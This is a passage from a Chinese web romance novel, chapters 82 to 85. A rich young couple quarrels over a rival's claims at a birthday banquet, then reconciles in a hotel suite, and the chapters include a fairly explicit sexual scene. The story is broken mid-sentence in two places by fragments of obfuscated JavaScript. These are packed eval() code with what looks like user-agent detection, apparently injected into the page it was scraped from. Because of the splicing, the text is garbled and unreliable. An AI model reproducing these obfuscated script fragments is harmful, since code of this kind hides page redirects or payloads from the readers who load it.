“哦。”小初笑笑,“谢谢成全,那我就笑纳了。” 杨敏中没想到她竟一点不生气,不禁一怔,转而问她,“你前几天是不是对我家姐出言不逊了?” 小初恍然,“你要说这个,我倒还高看你一眼。”然后也没否认,“出言不逊谈不上,就说了几句实话。”她笑,“实话嘛,都不太顺耳的。” 杨敏中轻嗤一声,“我最近浏览内地新闻,发现方先生绯闻女友也不少,劝你行事还是少带独生女的tag,不然哪天万一被媒体爆出他早有私生子,你这说出去的话,可要怎么转圜呢。” 小初挑了挑眉,“那杨小姐可千万要健康长寿,反正日子那么长,你总能等到故事的结局的。” 杨敏中气结,“你是不是在咒我?” 小初说:“哪敢。” 她冷笑,“你最近在全港出尽风头,想必别人说什么你都不会信,男人都一样,尤其有钱男人。所以你别自视甚高,就像你不会是你爸的唯一,也不会是他Theo余的唯一。” 小初点点头,“谢谢提醒。” 杨敏中不知怎么一肚子无名火,突然压低声音靠近她,“你不想知道我和Theo为什么从无话不谈变成陌路吗?” 小初眯了眯眸子,“我没有听别人故事的耐心。” 杨敏中才不管她,继续说道,“那是因为有次我们都喝多了酒,发生了一些没办法挽回的事,你也知道他算个君子,自觉没办法面对我,自然就连朋友都没得做咯。” 小初掀眸看了她一眼,没吭声。 “我知道你不会轻易信。”她笑,指了指自己双腿之间,“Theo大腿这个位置,有一颗棕色的痣,很漂亮,也很性感,你总见过吧?” 小初自然没办法对自己没见过的东西发表意见。 曹旸找了她大半个厅终于找到她的身影,在看到她身边围着的三四个人时眸底瞬时充了血,急急奔上来,仔细将她检查了一遍,问道:“小姐,没事吧?” 小初弯唇,摇摇头。 可曹旸看得很清楚,她眼睛里并没有笑。 “方小姐,Have a good night.” 杨敏中扬长而去。 小初愣在当地半晌没动。 曹旸有点担心,过来拉了拉小初的手,又喊了句,“小姐?” 小初抬头,直直看着她的眼睛,突然问,“曹旸姐,这个耳饰。”她指了指自己的耳垂,“到底谁给你的?你说实话,别骗我。” 曹旸一愣。 半晌才鼓足勇气,“小余总。” 小初这次是真的笑了。 “走吧。” “好。” 宴会很快接近了尾声,大家一块给小寿星唱了生日歌,拍了大合照,切蛋糕的时候,整个大厅都下起了花瓣雨,气氛浪漫到了极致。 余萧弋敬酒回来之后就一直陪在小初身边,两人在面上对彼此都没有什么明显的不同。 只是一个滴酒未沾,一个喝得脚步有些虚浮,最后连站稳似乎都成了难题,但即便如此,宴会结束时,他还是坚持把小初送到了车上。 外面的雨已经很大。 两人站在酒店门廊下等曹旸把车开过来,小初围着羊绒披肩,仍冷得发抖。 余萧弋想把西装脱下来给她,却被她按住,“不要,你脱了里面也跟真空没区别了吧?被人家看见成什么了。” 他这才停下动作,又说:“雨太大了,要不,今晚别走,就在绮丽住吧。” 小初拒绝得很干脆,“算了吧。” 他没话说了。 人醉得太厉害,除了滚烫的呼吸,他也几乎感受不到自己的实体了,仿佛整个人都是漂浮在半空中的。 曹旸终于把车开了过来。 小初上了车,因为要等前面的车离开,两人又隔着降下的玻璃窗对视了一会儿。 然后也不知出于什么,他突然冲动地向前两步,捧着她的脸在她的唇角上吻了一下。 他动作很大,吻得却很轻,小初还没反应过来,他已经蝴蝶振翅般飞走了。 “晚安。”他的笑在夜风中格外迷人,又做了个打电话的动作,“接下来几天预计很忙,只能电话联系了。” 小初咬唇,深深看他一眼,没说话。 曹旸将档位调至D,车子缓缓随着车流驶离了绮丽。 今晚果然名流汇聚,连豪车都排成了长龙,她们这辆商务车也只是其中最不起眼的一辆罢了。 透过后视镜,小初看见余萧弋始终站在原地,看着她们离开的方向。 直至她们的车子转了弯,他才踉跄了一下,朝路旁的垃圾桶奔去了。 可是下面的镜头她却什么都看不见了。 一颗心骤然被一根无形的线从身体里扯了出去,痛得她几乎没当场呕出一口血来,掌心紧紧抓住了裙摆。 曹旸侧头看了她一眼,轻叹了口气,“你还好吗,小姐?” 小初摇头,眼泪大颗大颗落下来,她再也忍不住,“不好,曹旸姐,我很不好。” “你需要我为你做什么吗?只要你说,都可以。” “下个路口,调头。” “好。” 小初像是对她说,又像是对自己说:“我必须得找他,要个答案。” 83.第 83 章 再回到绮丽不过是十分钟后的事。 曹旸的车刚停下,萧文然的库里南就从地下停车场冲了上来,紧随其后的则是一辆黑棕双拼色的飞驰,在前车大气磅礴的外观的衬托下,后车明显要跳脱和闷骚许多,没有任何犹疑,小初脑子里就闪过了三个字,余韬韬。 隔着防窥膜,她也看不清车子里都坐了些什么人,但她的直觉告诉她,余萧弋并不在车上,他就在眼前这栋耸入云霄的建筑里,某个安静的角落,独自舔舐着伤口。 相处这么久,她岂会不知他从来都是个内敛克制不愿让自己的情绪影响到别人的人,哪怕对方是他的父母家人,甚至是,爱人。 她想不通他是天性如此,还是因为在后续的成长中被加码了太多责任和压力才变成这样,但无论是哪个,都是她不想在他身上看到的。 她宁愿他永远可以直接地表达自己,可以尽情地发泄他的情绪,身上不要带着太重的枷锁,只做那个最本真的自我。 小初并没有马上下车,而是隔着车窗看了一会儿在风中摇曳的树。 爱,对于此刻的她无疑是清晰的。 但她还需要点时间克服她的自尊。 曹旸始终没说话,就那么沉默地陪着她,直至她自己做好决定。 “曹旸姐,今天辛苦了,回去早点休息。” 曹旸勾唇点头,“好,我电话就放在枕边,有任何需要,我都随叫随到。” 小初解开安全带,越过中控抱住她,声音里是由衷的感激,“谢谢你,理解我。”顿了几秒,她才加了句:“门口那些摄像头……” 曹旸扬了扬下巴:“你知道的,我是专业保镖,几个摄像头,大概还难不倒我。” 两人相视一笑。 小初下车,径直走向酒店大堂。 没有废话,她直接表明来意,“我要Theo Yu的房间号。”在对方惊愕的眼神中,她不得不又加了句:“我是他女朋友,姓方。” 负责接待她的刚好是个还在试用期的女孩子,小初的脸她当然已经在网上刷到过多次,但很多事情她依旧不敢做主,只能歉然表示她需要请示一下上级。 小初不想为难底层员工,浅笑道,“当然。” 只是她万万没想到,她等来的会是余蓁蓁。 “方小姐。”余蓁蓁仍穿着晚宴时的礼服,西装的袖口挽到手肘,别有一番洒脱,“我以为你已经回去了。” 小初愕然,有那么一瞬间,她窘迫得几乎不知道自己该接一句什么,才能显得她此刻的行径没有那么刻意。 “余总。”她极力掩饰着自己的紧张,但红成一片的皮肤还是将她的情绪出卖了个彻底。 “你和Theo一样,称我姑姑就好。”余蓁蓁笑,一双眼睛却散发着明察秋毫的微光,“我刚亲眼看见Theo把你送上车的,怎么又返回来了?” “我……”小初咬咬唇,干脆豁出去了,“他喝醉了,我不放心,所以回来看看。” 余蓁蓁点点头,“的确,他从小就乖,很少为什么事哭闹不休,即便受了什么委屈,也能强迫自己冷静下来听大人讲讲并不一定有什么道理的道理。但今天,他好像失控了,喝了太多酒,也醉得太厉害,我没办法,只能叫人把他扶到楼上休息了。方小姐你知道发生什么事了吗?” 小初瞳孔骤然一缩,不知是她敏感还是怎样,她总觉得余蓁蓁此刻正在探查她的内心。 但很快,她就平静下来,坦荡抬眸过去,“不知道,不过我猜,他应该纯粹就是因为心情好吧,弟弟的成人礼,做哥哥的激动过了头也很正常,他们兄弟感情一向要好。要真像您说的是受了什么委屈,我反而觉得他会克制住自己。” 余蓁蓁愣住,万没想到她会如此维护他,不仅聪明避开了她的语言陷阱,还顺便帮他树立了一下形象,丝毫不肯外人看轻他。 她简直可以预见,将来某天哪怕他架子都塌了,面对记者刁难,她也只会淡定地说,哦,他只是想感受一下重塑自己的快乐而已,你费心了,等哪天竣工时,一定记得来捧场。 不愧是理工科出身的顶级富家女,才二十岁就如此心思敏捷,气度不凡。 余蓁蓁瞬时感觉心情大好,大手一挥吩咐工作人员,“带方小姐上楼,顺便问问她有什么需要,你们尽量满足。” 小初早就心急如焚,听到这也没再客气,直说道:“谢谢姑姑,我需要热毛巾还有醒酒汤。” 余蓁蓁扬了扬眉毛,点头应允。 电梯一路向上,她的心却上上下下了八十次。某些不可言说的念头像是魔鬼,一直在试图绑架她的大脑。 工作人员很有分寸,出了电梯就礼貌地停下了脚步,似是生怕自己撞见什么不该撞见的场景,“方小姐,前面左手边第一间,你要的东西随后就到。” 小初点头,刷卡开门,一气呵成。 可饶是她有再多心理准备,也没想到余蓁蓁宠侄子会到这种程度,连饮醉都要把他丢进总统套房整理心情…… 难道不如此,配不上他小余总波澜壮阔的情感汹涌吗? 套房面积很大,从她的视角看过去,甚至还不能将客厅的全貌尽收眼底,粗略估计,总有个四五百平米。 这种房型通常都是给有一定阅历和地位的客人准备的,所以各家酒店的装修一般都会尽量往奢华庄重上靠拢,但很难得,绮丽请的设计师品味还不错,此刻站在门口的小初只感受到了时尚和艺术的气息,并没有小公主误闯老爹房间的不适感。 她轻叹口气,脱掉高跟鞋换上酒店柔软舒适的拖鞋,缓步向里面走去。 因为是圣诞月,房间里到处都是节日氛围的装饰品,沙发旁的圣诞树和天花板同高,在未开主灯的客厅内散发着柔和明亮的光,偌大落地窗外,就是无敌的维港夜景,只是今天天气不好,整片海都雾气昭昭。 小初没有欣赏景色的心情,只想尽快见到他,可是房间实在空旷安静,她完全感受不到他的气息,不禁一阵心慌。 光是找主卧的位置就浪费她好多时间,但最后的结果实在令她始料不及,主卧床上也空空如也,床单一丝褶皱都没有,根本就不像有人睡过的样子。 她站在原地愣了片刻,又仔细回忆了一下刚刚一路过来看到的画面,客厅,餐厅,书房,衣帽间……也都没有人影啊! 什么情况? 他根本不在这? 又一个人跑出去了?他喝了那么多酒,开不了车外面又在下雨,他能去哪里? 去找她了? 这个傻瓜! “余萧弋!”小初快急哭了,无助地喊了声他的名字,正要打电话联系曹旸,忽听房间里传来极轻的一声轻哼,她立刻停住动作竖起耳朵,半晌才判断出,声音是从卧室里另一道门那边传来的。 她赶紧大步过去。 这房子格局也是够令人无语的,主卧里面还别有洞天保留了好大一个空间,包含浴室和健身房,而余萧弋就仰面躺在卫生间门口的地上,也不知是刚吐过又洗过脸还是怎样,整个人都很狼狈,头发凌乱,嘴唇殷红,神色迷离,脸上都是水痕。 他身上也还是刚刚晚宴时那套衣服,但领口是敞开的,里面马甲的扣子倒是系得很紧,本来被包裹得很好的肌肉线条就这样透过布料显现出来,那条满钻项链也滑进了颈后,变成了一条别有风味的choker。 轰的一声,小初感觉自己脑子里什么东西炸了,一道白光过后,所有理智都成了废墟。 原本应该很心疼他此刻的脆弱的,可不知怎么,她只感受到了一种不可名状的诱惑,甚至……还有点很想让他保持这个状态,或是变得更坏的邪恶心理。 他仍在深醉中,并没有意识到她的到来,眉心轻蹙着,在这样一身凌乱中,仍有种令人心惊的矜贵和迷人,小初呆了好半晌,才赶走脑子里不合时宜的想法,俯身拍了拍他的脸。 “余萧弋,别在这睡,起来好不好?” 他不醒。 这是背着她喝了多少? 小初也顾不得那么多了,干脆跪坐在了地毯上,将手从他颈后穿过去,试图将他扶起来。 他身上的酒气很重,不算太好闻,可她发现,她竟然一点都不嫌弃,不仅不嫌弃,甚至有点沉迷。 然后她又有点被吓到,不敢相信一个人可以喜欢一个人到突破生理界限的程度,所有东西换个人她估计她早逃得远远的了,可就因为是他,她可以什么都不在乎,只要他好好的就行。 她用尽了力气,可他的身体始终纹丝不动,像是被钉在了地板上一样。 也不知道看着这么瘦的人怎么这么重。 “余萧弋。”她再次喊他的名字,并用手指帮他擦了擦嘴角的水痕,“我弄不动你,你自己起来,行吗?” 他似是终于听见了她的声音,迷迷糊糊睁开眼,视线聚焦的瞬间,他的瞳孔就肉眼可见地颤了一下,然后下一秒,他就捂住了嘴,另一只手指了指门的方向。 小初不明所以,回头看了一眼才明白他这是赶她出去的意思,不禁气结,反而离他更近了点,“你什么意思,不想我在这是吧?” “不是。”他仍不肯松开那只手,“我怕我有味道,你能不能先出去我收拾一下。” “……” 小初静静看了他几秒。 隔着他的手,幻视的都是初次见面时他戴口罩的样子。 “你都喝醉了还这么在乎形象?”她嗔他一眼,“你担心晚了,我刚刚已经亲过你了,有味道也传染给我了。” “你……”余萧弋听完这话酒顿时醒了大半,“你怎么能这样!” “怎样?” “趁人之危!” 小初笑得促狭,“不碰不清醒的那个人是你,又不是我。” “……” 门铃适时响了起来,小初知道,是客房服务到了,她估计他这会儿快难为死了,光风霁月的大少爷,怎么能接受自己一身狼狈出现在喜欢的人面前,于是决定先放过他,伸出手去,“好啦,你起来收拾一下,我去开门。” 依旧有点担心,又问了句:“你还行吗?” 余萧弋咬咬牙,就着她的手起了身,耳垂是红的,脸色却是淡淡的,“劳小姐费心,很行。” 小初不明所以看他一眼,“那我先出去一下。” 余萧弋问:“谁啊?” “给你要的醒酒汤。” 客房服务很贴心,除了醒酒汤,还额外准备了水果零食和点心,甚至还送来了两套全新的睡衣,用绸带系成礼物的形状,很有浪漫氛围。 并跟小初解释:“这是我们酒店和X品牌联名的情侣睡衣,平时只提供给至尊客人的,是可以带走的哦。” 小初红了脸,说了声谢谢,等对方退出去,她才坐在沙发上,仔细看了下那碗醒酒汤。 之前在家里,她妈妈偶尔也会亲自煮醒酒汤给她爸喝,但绮丽的这款是另一种她没见过的配方,观感上更像是橘子罐头,除了橘子,还辅以红枣和青梅,最上面还撒了干桂花,看着就清凉解渴,哪怕是她这个没喝酒的人,都想尝一口了。 余萧弋从洗手间出来,人已经收拾清爽,只是头还昏昏沉沉,脚步也有些虚浮。 “看什么呢,那么入迷。” 小初抬眸,这才发现他人已到眼前,不禁有些不好意思,没答,只是轻轻朝他勾了勾手,示意他坐到她身边来,自然而然问道:“你渴吗?” “嗯?” 渴这个字,在他们之间向来有某种暗示的嫌疑,他不确定她什么意思,喉结滚了滚。 “我每次喝酒之后都特别渴。” 哦。 “还好。”他笑笑,挨着她坐了。 她还穿着晚宴上那条晚礼服,裙裾很长,和他的西裤摩擦时,有沙沙的声音。 房间里温度很舒适,她褪了那条披肩,大半个纤薄的背和脆弱的肩颈都暴露在了空气中,刚刚周围都是人的时候他倒没做他想,这会换成独处,他的视线反而不知道往哪里放了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他现在脑子很混沌,完全没想到事情往这个方向去了。 “你撒谎。”小初很生气,“没有,还何必把曹旸拉进来?你就直接和我说不行吗?你敢说你心里坦坦荡荡?” 余萧弋说:“只是因为我回去的时候没看见你,就顺手给曹旸了而已。” 小初蹙了蹙眉,“所以你那会儿就是跟余珺彦出去了?谁找的谁?半个多小时的时间,都说什么了?该不会是一直在编排我方太初吧?” 余萧弋心里已经滔天巨浪,万没想到她竟敏锐到这种程度,只是话里面一个小小的漏洞被抓住,她就已经推理出事情原委,他还没想好要怎么转圜,她就已再度开口。 “余萧弋,你敢怀疑我?”她伸手,扯住他项链尾端,“我最恨别人怀疑我,如果谈恋爱彼此之间都不能信任,那还谈什么?” 两人距离已太近,余萧弋被酒精裹挟着,根本没办法思考,眼睛里只剩下她诱人的唇瓣,本能地只想贴上去。 小初见他这样更生气了,谁要一个不解决问题满脑子只想亲的男的啊! “答案你慢慢想吧,我先回去了,曹旸还在楼下等呢。” 说完,她就动作利落地起了身,不想却被他抓住,下一秒就扯进了怀里,“所以,那就说说吧,你和余珺彦到底有什么我不知道的秘密?”他声音低沉而蛊惑,“我只是出去办点私事,巧合跟他乘了同一架电梯而已,然后他就让我把东西转交给你,事情就这么简单。他没多说,我也没多想,怎么你这么气急败坏的,你到底在心虚什么?” “?!”小初瞪大眼睛,不敢相信自己听到了什么,他这是想反咬她一口? “所以它到底为什么会出现在他手里?”余萧弋视线落在她的耳垂上,“你们什么时候背着我见过面?你明知道我和他之间的隔阂有多深,却还要不顾一切靠近他,谈恋爱如果都不在乎对方的感受,那还谈什么?” “……”小初感觉自己脑子有点乱,这恋爱谈不谈倒是其次,但逻辑上她绝不能输,“那你今晚把自己喝成这样是为什么?难道不是因为你小人之心觉得我背叛了你吗?” 余萧弋蹙了蹙眉,眼神里都是不解,“我喝成这样是因为我高兴啊,今天仔仔十八岁生日,你知道的,我们兄弟感情一向要好。” 小初咬咬唇,总感觉他有那么一瞬间跟她共了脑,不然怎么会把她的话原封不动地搬过来用? “余珺彦的魅力就那么令你抵挡不住吗?”余萧弋俯身,目光直直撞进她眼底,有种说不出的脆弱,却又百分百地掌控,“我到底比他差在哪?” “你有病啊?”小初气急,“他是你哥,就算全世界男人死光了,我也不可能看他一眼的,好吗?” “哦。”余萧弋蹙了蹙眉,放在她腰间的手骤然收紧,“那就是说,如果他不是我哥,你就会看他好多眼?” “你什么逻辑!”小初为了赢已经口不择言,“好,既然说到这个,今天杨敏中拦住我,说什么你们当年酒后乱情发生了不可挽回的事才导致友情终结,还说什么你是她玩够了丢掉才轮到我的,这你又怎么说?” “方太初!”余萧弋难以置信,眼角却滑过一丝不易察觉的笑,“你敢怀疑我?我最恨别人怀疑我,谈恋爱如果不能……” 他话还没说完,小初就捧着他的脸吻了下去,她已经输到彻底,绝不能让他第二次拿她的逻辑来碾压她的智商。 房间里骤然变得很安静,静到仿佛能听到空气的流动,两人唇齿间缠绵的声音也因此被放大了数倍,他口中是酒精混着薄荷味牙膏和橘子味醒酒汤的味道,很清爽,也很热,诱人沉迷,仿佛没了这个吻她就再不能活。 不知过了多久,他才停下动作,叹息着解释道:“你别听杨敏中胡说,就连做朋友时候我和她都只是泛泛之交,又怎么会……” 小初勾着他的项链,整个人都已陷入一种意味不明的绵长的愉悦里,“是吗?”她的手一寸寸向下,“她说,你这里,有一颗很迷人的棕色痣,我要验证一下,是不是真的。” 余萧弋的琥珀色瞳仁,再次被点了墨。 84.第 84 章 “宝贝。”余萧弋欺身向前,和她额头抵着额头,声音低沉中又带着一丝压抑到了极致的颤抖,“我现在不清醒,非常不清醒,但你要明白,很多事情一旦开始,就没办法结束了,你……要想好,别做让自己后悔的事。” 小初眩晕的大脑恢复了一点清明,轻声问道,“那你呢?你会后悔吗?” “你说呢?”余萧弋用掌心感受着她颈后肌肤细腻的触感,“你会怪上天把你生命中最好的礼物在你最想要它的时候送到你面前吗?” 他的呼吸好烫,小初条件反射般地调整了一下坐姿,却忘了自己就坐在他的腿上,只一下,她就不敢乱动了,转而问他:“我只是件礼物吗?” “嗯?”余萧弋没太明白她的意思,但还是敏锐感受到了她语气里的微嗔,“你不喜欢这个说法吗?” 小初不打算对他隐藏自己的感受,今天是,从今往后的每一天也是 :“没有人会喜欢被当成另一个人的礼物吧?你不觉得人通常喜欢的,只是那个拆礼物的过程吗?至于拆出什么,也就那样,反正很快就会抛之脑后的。” 她看了看沙发旁的圣诞树,“比如,你还会记得你四岁时候收到的圣诞礼物吗?我更希望我们的爱情是势均力敌相互付出和珍惜的,你觉得呢?” “你说的很对。”余萧弋道歉,“是我表达有误,但我必须得解释一下,我的重点其实不在礼物,我想说的是,遇见你,真的是我人生中最好最好的一件事……” 小初双臂环住他的脖子,在他唇上印了一下,不自觉地撒着娇,“你不用解释,我懂的啦。” 然后她又笑,“你人生中最好最好的一件事难道不该是生在这样的人家,十辈子都很发财吗?哥哥,别说大话,我还是比较喜欢你有钱的样子。” “不,你不懂。”余萧弋的眼尾逐渐泛红,“你只有真的了解我从小是在怎样的环境中长大的,身边的人又是怎样以面具示人的,以及我跟那些人说每一句话之前要经过多少深思熟虑,才会明白你对我的意义。方太初,我知道你是太阳,也知道太阳是不可能只照着一个人的,我只希望我永远都是那个离你最近的,可以吗?” 小初怔住,她本不是个感性大于理智的人,可这一刻,她还是不受控制地跟他共了情,眼泪不自觉落了下来。 “傻瓜。”她捧住他的脸,“我才不是什么太阳,我只是我自己。别再纠结余珺彦了可以吗?他真的不重要,无论对你还是对我。” “我知道。”余萧弋垂眸,整个人都迷蒙又痛苦,各种复杂情绪在眼底交织,最终汇聚成余珺彦悬于他头顶那把剑的样子。 他还没有想好他该怎么办,世界对他而言已变成一片混乱,而他站在混乱的中心,茫然四顾却找不到方向,他只有天空中那轮明亮温暖的太阳了。 若太阳也离他而去,他就真的什么都没有了。 “你还想骗我。”小初用力扑进他怀中,耳侧贴在他锁骨下方裸露的皮肤上,“你知不知道你刚才躺在地上的样子有多让人心疼?” 余萧弋低声, “我说了,我不清醒,我不是故意的。” “可是我清醒。”小初枕着他的心跳,整个人都在微微发抖,“我不会后悔。” “你说什么?”余萧弋鼻息渐重,双手扣住她的肩膀,将她稍稍推离自己的身体,深深地看向她,每一秒钟的对视,都是在反复确认着她的决心,“Babe我……” “亲亲我,哥哥。”小初小声祈求,“我想……要你。” 余萧弋呼吸彻底乱了,蓦地将她压在沙发上,维港的夜倒映在她眼底的那一刻,他的理智终于崩塌,带着酒气的吻密密麻麻地落下去,到最后,连他也不知道都落在了哪里,整个世界都成了废墟,又一点点被重建,似乎哪里都没变,还是她和他,又似乎哪里都变了,他们将很快不再是两个孤单的个体,天与海在雾气中模糊着界限,逐渐连成一片。 小初的裙摆从沙发边缘垂了下去,拖曳了一阵又被揉上来,变成了凌乱的一团。之前特意嘱咐品牌方帮她缝起来的部分断了线,随着她的呼吸起伏着。 “帮我脱了。” 余萧弋的声音像是命令,又像是祈求,可当小初的手指真伸过来帮他一颗一颗对付那些难缠的扣子时,他又没了耐心,到最后也不知有几颗留在衣服上,几颗飞到了地毯里。 沙发很软,他根本不敢彻底压下去,却又控制不住本能地想拥有,她的人,她的感情,她的过去与未来,他统统都想用力地压入怀中,藏到心底某个不为人知的地方,再也不与任何人分享。 小初早已被亲的气息紊乱,她想把他推开,却又舍不得他离开自己半寸,在这样的纠结和拉扯中,额角渐渐沁出汗来,客厅没有被子,毛孔被打开后就有点冷,她忍不住将自己埋在他的颈窝里,试图从他蓬勃的动脉处,吸取一点热量。 “怎么了?” 余萧弋哑着声音,顺势覆在她的耳畔,温柔地流连着,“冷吗?” “嗯。”小初从不知道自己耳朵也这么敏感,意识逐渐混乱不清,他的呼吸每一次起伏,换来的都是她控制不住的战栗和酥麻痒意,她终于忍不住,祈求地抓住了他的胳膊,“我们回房间好吗?” “好。”余萧弋从沙发上起身,一只手臂伸到她颈下,另一只穿过她的小腿,用气音低声哄到,“乖,搂住我的脖子。” 小初照做,一阵眩晕过后,人就已经被他抱在了怀里。 裙子悄无声息地落了地。 他的怀抱很有安全感,腰带却硌得人只想逃离,小初轻呼出声,“喂。” “嗯?”余萧弋顿住脚步,神色不明地看向她,“难受吗?” 小初幽怨地点了点头,想了想又摇了摇头。 余萧弋的声音暗哑下来,“那就是……舒服?” “不是。”小初手按在他的腰带扣上,却不敢再往下半公分,看向他的眼睛,“不公平。说好的让我验证一下你到底有没有那颗痣的,你现在这样,是心虚吗?” 余萧弋呼吸一滞,耐心地解释道,“还没洗澡。” 小初咬咬唇,“那你帮我把裙子也穿回去。” 余萧弋温柔浅笑,低头啄了啄她唇,“那要不要一块泡个澡?” 小初脑子里嗡地一声,不自觉想起刚刚主卧浴室那个可以俯瞰半座城风光的浴缸,“你说的不会是?”她试探问道。 “是。”他答得干脆,声音却已被汹涌的情欲裹挟得不稳,“你放心,那个设计,看似没有私密性,实际只有你能看得见世界,世界根本看不见你。” “你少哄我。”小初红了脸,然后才低声说,“我当然知道……只是。” “只是泡个澡。”余萧弋哄到,“那个是恒温浴缸,你应该会喜欢的。” 小初已经分不清自己是心甘情愿还是心甘情愿被他哄骗了,但最后,她还是微不可察地点了点头。 他抱了她这么久,却始终一派轻松模样,小初用指尖戳了戳他手臂的肌肉,他立刻条件反射般紧绷起来,成功把她逗笑。 目光对上,一不小心,两人又从客厅亲到了浴室。 这一次,他倒是吻得很温柔,比起刚刚似是要将她拆骨入腹的占有欲,更像是一种安慰,试图让她不那么紧张。 知道她不好意思,到了浴室,把她放到那个Spa的床上,他就反身回客厅将刚刚客房服务送来的小推车推了进来。 “你别看我。”小初双手交叉在胸前一副防备模样,仿佛几分钟前恨不得将自己融入对方骨血的意乱情迷,不过是他们其中一人的想象。 “好,不看你。”余萧弋别过视线,“你自己穿下那个浴衣,我再出去一下。” “嗯。”小初扯过衣服,正待解开那个由绸带绑成的蝴蝶结,什么东西就悠然而落,啪地一声砸在了大理石地面上。 两人同时垂眸过去,下一秒,就同时被烫了似的瞳孔一缩,半晌,房间里都是安静的,气氛极为微妙。 最后,还是余萧弋轻咳一声开了口,“看来不需要我再出去了。” 小初却尴尬得快要化了,“不是我说,你姑姑是不是也太,太……体贴了。” 一般而言,为了维护品牌形象,高端酒店是绝无可能给客人提供这种东西的,所以说,地上那个小盒子,就是余蓁蓁特别嘱咐工作人员为他们准备的。 余萧弋看她一眼,又马上意识到不能看她,赶紧垂眸下去,“你要是不舒服,我们就自己出去买,不用这个。” 小初穿上那条珠光白的真丝睡裙,感受了一下它云朵般的质感,“挺舒服的。” 余萧弋愣住,“啊?” 小初抿抿唇,“我说的是睡衣,这个意大利的牌子不便宜,这一件衣服估计就八九千块了,算了,姑姑这么体贴,我们就领了她的好意好了。”她绕到他面前,“再说,这么大的雨,你准备去哪里买?” 余萧弋笑,“酒店前台。” “然后我们就会被她们笑两次,以后不光绮丽,中环也不用来了。” “胡说。”余萧弋捡起地上的小盒子,凑近她,声音像羽毛般撩拨,“她们只会偷偷给我们点赞好不好。这个小包装,你觉得,够用吗?” 小初瞪大眼睛,转身就要跑,却被他勾住腰带,轻轻一带就扯回了怀里,“方小姐要去哪?不是说要给我检查身体吗?” “我错了小余总,我开玩笑的。” 余萧弋好整以暇的,“我从不跟人开这种玩笑的。” “那,你先告诉我结果,到底有没有?” “一会儿自己看。” “……” 两人一个去卸妆,一个给浴缸放水。 余萧弋说这间房间这三个月就他一个人住过,浴缸也是那会按照他的喜好新换的,让她不用担心卫生问题。 小初将脸上厚厚的宴会妆卸掉,终于感觉自己的皮肤又可以自由呼吸了,“所以,你在俯瞰半个城的浴缸里一个人泡澡的时候在想什么?” 余萧弋笑,“在想,要是有个人陪我就好了。” “……” 她就多余问。 可是,即使在说这种话的时候,他的眉眼竟然也是温柔而深情的,果然,越好看的男人越有迷惑性。 小初洗干净脸,还没来得及擦,就发现他正透过镜子看着她,目光已经渐渐沉下去了,虽然什么都没做,侵略感已经拉满。 两人就这样一动不动看了对方一会。 浴缸里的水汽已蔓延得到处都是。 鬼使神差的,她突然问他,“你现在几分醉几分醒?” “我已经醒了。”他一步步走向她,身体若有似无地贴在她身上,就这样和她十指相扣,“我在清醒地爱着你,从始至终。” 果然男人的情话才是最好的药,只这么一句,小初就感觉自己软了,意志力放弃了挣扎,连对疼痛的恐惧都忘了。 “别害怕。”他扯开她腰间的蝴蝶结,“我会温柔,会保护你,哪怕我死,都不会允许你受到任何伤害,哪怕只是流言,也不行。” 小初不太明白他在说什么,却突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直白到无需多余的词来堆砌,又矜持到只要她说一个“不”字,他就可以切换成永久的等待模式。 他对她有的是耐心,总是半途而废的那个人,是她。 “这段时间有没有偷偷地想我?”他起身,漫不经心靠在浴缸最窄的那条边上。 她试图整理好思绪,“我们不是天天都见面吗?” “你知道。”他的手加重力量,“我说的不是这个。” 她咬唇,不说。 下一秒就被他托着,抵在他两侧。 脚踝被捉住,卡在一个不可思议的弧度。 “想过吗?”他不依不饶。 她将自己埋入他怀中,感受着他心脏的跳动,仍旧倔强地不说。 然后下一秒,极致的疼痛就降临了,她痛得几乎蜷缩起来,但她和他都知道,这已经是最不痛的方式了。 身上全是水,却已经感觉不到冷了。 背上瞬间出了一层汗,生理性眼泪汹涌不止,那一刻,世界没有了,一切都消失了,只剩下一个支点,折磨着她,感观被无限放大着。 她没有办法缓解,长这么大所受的委屈加起来也不过如此,“讨厌你。”她对着他的肩膀咬上去,一边咬一边哭,却终是没敢用尽全力,说到底,还是爱。 还是舍不得。 “别哭,好了,以后都不会了,就这一次,这辈子就这一次。”余萧弋捧住她的脸,温柔地吻上去,轻哄着,缓解着她的痛苦,直至,世界再从那个支点诞生,酸涩的,甜蜜的,一点点蔓延开来,逐渐转化成快乐。 他们圆满了。 “方小姐,你好美。” 最后的最后,是他和她一起,拔掉了浴缸的排水阀,亲眼那个痕迹,以漩涡的状态,飞向了另一个时空。 她累极了,被抱到床上没多久就睡着了。 却又始终睡得不踏实,总觉得有件很重要的什么事被她忘了。 直至天亮,停了雨的天空微白色穿过纱帘,她忽地睁开眼,发现他还在身边,正眉眼弯弯地看着她笑,她才想起来。 “哥哥,你疼吗?” 余萧弋没懂,“嗯?”了一声,“疼什么?” “昨晚那个时刻,你也会疼吗?”小初一脸认真,似是真的很在意这个问题的答案。 “傻瓜。”余萧弋拥她入怀,吻了吻她的头发,“我心疼。” “那就是不疼。”她嘟囔了一句,“不公平。”就蹭进他怀里继续睡了。 余萧弋失笑,语音控制关上了窗帘。 接下来的两天,两人就基本没出门,吃饭就叫客房服务送到房间里来,其余时间,除了休息,就基本都在做一项运动。 接近五百平的房间,两天,还不足以深耕。 期间,他还真打电话又叫了一包小雨伞,至此他们才明白了什么叫真正的食髓知味,欲罢不能。 小初后来仔细检查了很多遍,都没有看到他身上传闻中的那颗痣。 倒是有个指甲大小的浅咖色胎记,确实长在大腿深处。 胎记的形状还有点特别,很像个倒着的桃心。 很可爱。 可爱到让人想亲。 但!绝对和什么什么棕色痣扯不上半点关系。 杨敏中是从哪里买的二手信息,被人坑了吧? 第三天,两人正准备返校上课,萧文然却突然打来电话,说——仔仔失踪了。 85.第 85 章 早晨系里有例行小组讨论会,要求全员到场,一下子两个人都请假,顿时惹得史密斯大发雷霆。 